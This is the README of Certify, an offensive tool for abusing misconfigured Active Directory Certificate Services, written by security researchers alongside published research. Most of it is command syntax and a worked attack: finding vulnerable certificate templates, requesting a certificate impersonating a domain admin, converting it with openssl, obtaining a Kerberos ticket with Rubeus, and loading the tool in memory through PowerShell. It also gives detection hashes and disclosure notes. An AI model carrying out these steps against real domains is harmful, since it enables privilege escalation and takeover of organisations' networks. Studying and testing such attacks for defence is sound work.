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Certify

Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).

@harmj0y and @tifkin_ are the primary authors of Certify and the the associated AD CS research (blog and whitepaper).

Table of Contents

Usage

C:\Tools>Certify.exe

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0


  Find information about all registered CAs:

    Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet]


  Find all enabled certificate templates:

    Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find vulnerable/abusable certificate templates using default low-privileged groups:

    Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find vulnerable/abusable certificate templates using all groups the current user context is a part of:

    Certify.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled:

    Certify.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find enabled certificate templates capable of client authentication:

    Certify.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

  Find all enabled certificate templates, display all of their permissions, and don't display the banner message:

    Certify.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]

  Find all enabled certificate templates and output to a json file:

    Certify.exe find /json /outfile:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local]


  Enumerate access control information for PKI objects:

    Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] [/quiet]


  Request a new certificate using the current user context:

    Certify.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install]

  Request a new certificate using the current machine context:

    Certify.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install]

  Request a new certificate using the current user context but for an alternate name (if supported):

    Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER

  Request a new certificate using the current user context but for an alternate name and SID (if supported):

    Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /sid:S-1-5-21-2697957641-2271029196-387917394-2136

  Request a new certificate using the current user context but for an alternate name and URL (if supported):

    Certify.exe request /ca:SERVER\ca-name /template:Y /altname:USER /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-2697957641-2271029196-387917394-2136

  Request a new certificate on behalf of another user, using an enrollment agent certificate:

    Certify.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD]


  Download an already requested certificate:

    Certify.exe download /ca:SERVER\ca-name /id:X [/install] [/machine]



Certify completed in 00:00:00.0200190

Using Requested Certificates

Certificates can be transformed to .pfx's usable with Certify with:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certificates can be used with Rubeus to request a TGT with:

Rubeus.exe asktgt /user:X /certificate:C:\Temp\cert.pfx /password:<CERT_PASSWORD>

Example Walkthrough

First, use Certify.exe to see if there are any vulnerable templates:

C:\Temp>Certify.exe find /vulnerable
   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=theshire,DC=local'
[*] Restricting to CA name : dc.theshire.local\theshire-DC-CA

[*] Listing info about the Enterprise CA 'theshire-DC-CA'

    Enterprise CA Name            : theshire-DC-CA
    DNS Hostname                  : dc.theshire.local
    FullName                      : dc.theshire.local\theshire-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=theshire-DC-CA, DC=theshire, DC=local
    Cert Thumbprint               : 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
    Cert Serial                   : 14BFC25F2B6EEDA94404D5A5B0F33E21
    Cert Start Date               : 1/4/2021 10:48:02 AM
    Cert End Date                 : 1/4/2026 10:58:02 AM
    Cert Chain                    : CN=theshire-DC-CA,DC=theshire,DC=local
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
      Allow  ManageCA, Read, Enroll                     THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
        [!] Low-privileged principal has ManageCA rights!
      Allow  Enroll                                     THESHIRE\Domain Computers     S-1-5-21-937929760-3187473010-80948926-515
      Allow  ManageCA, ManageCertificates               THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
      Allow  ManageCertificates, Enroll                 THESHIRE\certmanager          S-1-5-21-937929760-3187473010-80948926-1605
      Allow  ManageCA, Enroll                           THESHIRE\certadmin            S-1-5-21-937929760-3187473010-80948926-1606
    Enrollment Agent Restrictions :
      Everyone                      S-1-1-0
        Template : <All>
        Targets  :
          Everyone                  S-1-1-0

      Everyone                      S-1-1-0
        Template : User
        Targets  :
          Everyone                  S-1-1-0

Vulnerable Certificates Templates :

    CA Name                         : dc.theshire.local\theshire-DC-CA
    Template Name                   : User2
    Validity Period                 : 2 years
    Renewal Period                  : 6 weeks
    msPKI-Certificates-Name-Flag    : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
    mspki-enrollment-flag           : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT
    Authorized Signatures Required  : 0
    pkiextendedkeyusage             : Client Authentication, Smart Card Logon
    Permissions
      Enrollment Permissions
        Enrollment Rights           : THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
        All Extended Rights         : THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
      Object Control Permissions
        Owner                       : THESHIRE\localadmin           S-1-5-21-937929760-3187473010-80948926-1000
        Full Control Principals     : THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
        WriteOwner Principals       : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
        WriteDacl Principals        : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
        WriteProperty Principals    : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519

    CA Name                         : dc.theshire.local\theshire-DC-CA
    Template Name                   : VulnTemplate
    Validity Period                 : 3 years
    Renewal Period                  : 6 weeks
    msPKI-Certificates-Name-Flag    : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag           : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required  : 0
    pkiextendedkeyusage             : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Domain Users         S-1-5-21-937929760-3187473010-80948926-513
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
      Object Control Permissions
        Owner                       : THESHIRE\localadmin           S-1-5-21-937929760-3187473010-80948926-1000
        WriteOwner Principals       : THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
                                      THESHIRE\localadmin           S-1-5-21-937929760-3187473010-80948926-1000
        WriteDacl Principals        : THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
                                      THESHIRE\localadmin           S-1-5-21-937929760-3187473010-80948926-1000
        WriteProperty Principals    : THESHIRE\Domain Admins        S-1-5-21-937929760-3187473010-80948926-512
                                      THESHIRE\Enterprise Admins    S-1-5-21-937929760-3187473010-80948926-519
                                      THESHIRE\localadmin           S-1-5-21-937929760-3187473010-80948926-1000



Certify completed in 00:00:00.6548319

Given the above results, we have the three following issues:

  1. THESHIRE\Domain Users have ManageCA permissions over the dc.theshire.local\theshire-DC-CA CA (ESC7)
    • This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.
  2. THESHIRE\Domain Users have full control over the User2 template (ESC4)
    • This means that anyone can flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on this template and remove the PEND_ALL_REQUESTS issuance requirement.
  3. THESHIRE\Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)
    • This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).

We'll show the abuse of scenario 3.

Next, let's request a new certificate for this template/CA, specifying a DA localadmin as the alternate principal:

C:\Temp>Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : THESHIRE\harmj0y
[*] No subject name specified, using current context as subject.

[*] Template                : VulnTemplate
[*] Subject                 : CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[*] AltName                 : localadmin

[*] Certificate Authority   : dc.theshire.local\theshire-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 337

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn8bKuwCYj8...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGITCCBQmgAwIBAgITVQAAAV...
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:04.2127911

Copy the -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE----- section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don't enter a password:

(base) laptop:~ harmj0y$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
(base) laptop:~ harmj0y$

Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the altname user using Rubeus:

C:\Temp>Rubeus.exe asktgt /user:localadmin /certificate:C:\Temp\cert.pfx

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.1

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'theshire.local\localadmin'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFujCCBbagAwIBBaEDAgEWooIExzCC...(snip)...

  ServiceName           :  krbtgt/theshire.local
  ServiceRealm          :  THESHIRE.LOCAL
  UserName              :  localadmin
  UserRealm             :  THESHIRE.LOCAL
  StartTime             :  2/22/2021 2:06:51 PM
  EndTime               :  2/22/2021 3:06:51 PM
  RenewTill             :  3/1/2021 2:06:51 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  Etb5WPFWeMbsZr2+FQQQMw==

Defensive Considerations

Certify was released at Black Hat 2021 with our "Certified Pre-Owned: Abusing Active Directory Certificate Services" talk.

The TypeRefHash of the current Certify codebase is f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a.

The TypeLib GUID of Certify is 64524ca5-e4d0-41b3-acc3-3bdbefd40c97. This is reflected in the Yara rules currently in this repo.

See our whitepaper for prevention and detection guidance.

Compile Instructions

We are not planning on releasing binaries for Certify, so you will have to compile yourself :)

Certify has been built against .NET 4.0 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.

Sidenote: Running Certify Through PowerShell

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt

Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[Certify.Program]::Main("find /vulnerable".Split())

Sidenote Sidenote: Running Certify Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.

If you follow the instructions in Sidenote: Running Certify Through PowerShell to create a Certify.ps1, append something like the following to the script:

[Certify.Program]::MainString("find /vulnerable")

You should then be able to run Certify over PSRemoting with something like the following:

$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Certify.ps1

Alternatively, Certify's /outfile:C:\FILE.txt argument will redirect all output streams to the specified file.

Reflections

On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as ForgeCert) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused PSPKIAudit PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for "theoretical" attacks until someone proves something is possible with a proof of concept.

Acknowledgments

Certify used a few resources found online as reference and inspiration:

The AD CS work was built on work from a number of others. The whitepaper has a complete treatment, but to summarize: